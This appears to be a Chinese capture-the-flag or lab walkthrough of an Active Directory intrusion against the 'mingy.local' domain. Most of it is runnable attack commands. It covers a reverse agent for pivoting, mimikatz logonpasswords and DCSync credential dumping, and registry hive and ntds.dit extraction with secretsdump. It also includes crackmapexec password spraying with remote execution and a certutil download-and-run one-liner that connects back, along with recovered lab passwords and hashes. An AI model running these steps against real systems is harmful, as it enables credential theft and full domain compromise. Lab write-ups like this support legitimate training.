三、域渗透
(1)内网主机 — 10.30
A. 上线admin节点
1.上传agent(记得开启代理)
2.主机52.10监听6666端口
use 0
listen
1
6666
3.主机52.30执行agent,连接52.10上监听的端口
agent.exe -c 192.168.52.10:6666
4.成功上线主机52.30到admin节点
B.主机信息收集
1.上传winPEASany.exe执行,收集windows主机信息
winPEASany.exe -a > win_info.txt
运行时间较长,请耐心等待。
2.主机信息分析
- 下载win_info.txt文件到本地
- 系统信息
- 枚举LSA设置-包括身份验证包
WDigest已启用-可以提取明文密码!
在Windows操作系统中,LSA(Local Security Authority)是安全子系统的一部分,负责处理安全策略和用户认证。WDigest 是 LSA 模块的一部分,它提供对Windows凭据的加密支持,包括用户密码的存储和验证。
以下是关于 Windows LSA WDigest 的一些关键点:
-
凭据存储:WDigest 负责存储用户的凭据,特别是明文密码。当用户登录时,WDigest 会将密码加密并存储在内存中。
-
凭据加密:WDigest 使用 Windows 中的加密机制来保护存储的凭据。这些凭据通常使用 Windows 内置的加密算法进行加密。
-
凭据使用:WDigest 存储的凭据可以用于多种用途,包括网络身份验证、访问控制等。
-
安全性问题:由于 WDigest 存储了用户的明文密码,如果攻击者能够访问到这些凭据,他们就可以使用这些密码进行进一步的攻击。
- 用户信息
- 曾经登录过的账户
- 打印登录会话
发现存在域环境,域名为: mingy.local
- 服务信息
- 网络接口及监听的TCP端口
C.密码凭证获取
1.mimikatz
- 上传mimikatz
- 执行mimikatz命令
mimikatz.exe "log re.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
- 查看并分析re.txt内容
- 发现用户明文密码
Administrator / 1qaz@wsx
2.Registry
- 使用 reg 命令导出注册表内容
# 导出 SYSTEM 键值
reg save HKLM\SYSTEM system.hiv
# 导出 SAM 键值
reg save HKLM\SAM sam.hiv
# 导出 SECURITY 键值
reg save HKLM\SECURITY security.hiv
- 下载文件到本地
- 使用 Mimikatz 分析导出的注册表文件
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" "exit"
如果kali使用不了,可以在本地使用。
- 使用 Impacket 分析导出的注册表文件
impacket-secretsdump -sam sam.hiv -system system.hiv -security security.hiv LOCAL
D.密码Hash破解
45a524862326cb9e7d85af4017a000f0
1qaz@wsx
E.内网主机探测
1.上传fscan到主机
2.探测10网段存活主机
fscan.exe -h 10.10.10.0/24
| IP地址 | 主机名 | 系统类型 |
| 10.10.10.30 | PC | Windows 7 Enterprise 7601 Service Pack 1 |
| 10.10.10.20 | WEB | Windows Server 2008 R2 Enterprise 7601 Service Pack 1 |
| 10.10.10.10 | DC | Windows Server 2012 R2 Standard 9600 |
(2)内网主机 — 10.20
A.内网代理搭建
1.在主机52.30节点上启动socks代理请求
use 3
socks 1081
2.配置proxychains
vim /etc/proxychains4.conf
socsk5 127.0.0.1 1081
3.验证socks代理是否开启
B.端口探测
- 靶机执行
fscan.exe -h 10.10.10.20 -p 1-65535 -np
攻击机器代理执行
proxychains ./fscan -h 10.10.10.20 -np -nobr
不知道为什么没有扫描结果。
C.密码喷洒
- 密码喷射本地登录(验证用户名密码是否正确)
proxychains crackmapexec smb 10.10.10.10-30 -u administrator -p '1qaz@wsx' --local-auth
- 密码喷射本地登录命令执行
proxychains -q crackmapexec smb 10.10.10.20 -u administrator -p '1qaz@wsx' -x 'whoami' --local-auth
- 上传agent到10.30主机web目录
upload /tools/agent.exe C:/xampp/htdocs/agent.exe
- 主机10.30监听5555端口
- 本地登录命令执行
proxychains -q crackmapexec smb 10.10.10.20 -u administrator -p '1qaz@wsx' -x 'cmd.exe /c certutil -urlcache -split -f http://10.10.10.30/agent.exe c:/agent.exe & c:/agent.exe -c 10.10.10.30:5555' --local-auth
在10.20主机上通过命令执行,从10.30主机的web目录下载agent.exe,并保存到C盘,然后执行agent 连接到10.30主机上监听的5555端口,从而上线到admin节点
成功上线10.20节点
D.主机信息收集
1.使用winpeas收集主机信息
winpeas.exe -a > win_info.txt
2.获取密码凭证信息
上传mimikatz并执行命令
use 4
upload /tools/mimikatz.exe c:/mimikatz.exe
mimikatz.exe "log re.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
3.下载re.txt文件,并分析
download c:/re.txt /tools/re.txt
cat re.txt
- 发现域用户账户及密码
mingy\lisi / 1qaz@wsxls2
- 尝试使用此用户密码进行登录
proxychains -q crackmapexec smb 10.10.10.10-30 -u lisi -p '1qaz@wsxls2' –shares
不知道为什么PC主机的lisi账号登录不上
- 发现此用户可以登录如下三个主机,判断此用户为域管理员用户
| 主机名 | IP地址 |
| DC | 10.10.10.10 |
| WEB | 10.10.10.20 |
| PC | 10.10.10.30 |
- 获取域内所有用户信息
proxychains -q crackmapexec smb 10.10.10.10-30 -u lisi -p '1qaz@wsxls2' --users
| 域用户 | 密码 |
| mingy.local\mingy | |
| mingy.local\lisi | 1qaz@wsxls2 |
| mingy.local\m | |
| mingy.local\testcert | |
| mingy.local\bob | |
| mingy.local\john | |
| mingy.local\krbtgt | |
| mingy.local\Guest | |
| mingy.local\Administrator |
- 获取ldap服务信息
proxychains -q crackmapexec ldap 10.10.10.10-30 -u lisi -p '1qaz@wsxls2'
通过以上信息可以判断DC(10.10.10.10)主机为域控制器,LDAP是域控制器实现其目录服务功能的重要技术手段。
- 获取域控主机的Hash值
proxychains -q crackmapexec smb 10.10.10.10 -u lisi -p '1qaz@wsxls2' --sam
Administrator:500:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24
- 尝试解密hash
- 成功解密得到域控主机管理员密码
mingy\administrator / 1qaz@WSX
(3)内网主机 — 10.10
A.获得域控制器权限
- 在52.30节点开启监听
- 本地执行命令
proxychains -q crackmapexec smb 10.10.10.10 -u lisi -p '1qaz@wsxls2' -x 'cmd.exe /c certutil -urlcache -split -f http://10.10.10.30/agent.exe c:/agent.exe & c:/agent.exe -c 10.10.10.30:4444'
- 成功上线DC主机节点
B.获取域内所有用户密码Hash
1.dcsync
Mimikatz 有一个功能dcsync,它可以利用目录复制服务(Directory Replication Service,DRS)从NTDS.DIT文件中提取密码哈希值。
DCSync 工作原理:
-
攻击者获得管理员及以上权限后,可以使用 Mimikatz 等工具模拟 Active Directory 域控制器
-
然后攻击者使用 DCSync 命令,在目标域控制器上请求某个指定帐户的 NTLM 存储凭证密码哈希值,而无需提供该帐户的明文密码。但是攻击者需要知道目标帐户的名称,以及目标系统的域名和 管理员凭据。
-
目标域控制器接收到此请求后,将密码哈希值返回给攻击者。
-
攻击者可以使用获得的密码哈希值来执行其他攻击,例如 Pass-the-Hash 攻击,这种攻击技术允许攻击者使用哈希值进行身份验证并获取对系统的访问权限,而无需知道实际的明文密码。此外,攻击者也可以尝试破解密码哈希值以获得明文密码。
mimikatz.exe "lsadump::dcsync /domain:mingy.local /all /csv" "exit"
2.vss
- 使用卷影复制功能获得ntds.dit文件
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
cd c:\test
tree /F
- 下载 ntds.dit、SECURITY、SYSTEM 文件到本地
download "C:\test\Active Directory\ntds.dit" /tools/ntds.dit
download C:\test\registry\SYSTEM /tools/SYSTEM
download C:\test\registry\SECURITY /tools/SECURITY
- 使用 secretsdump 脚本解密获得所有用户密码Hash
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL
- 进行hash解密即可获得密码
这就是王吧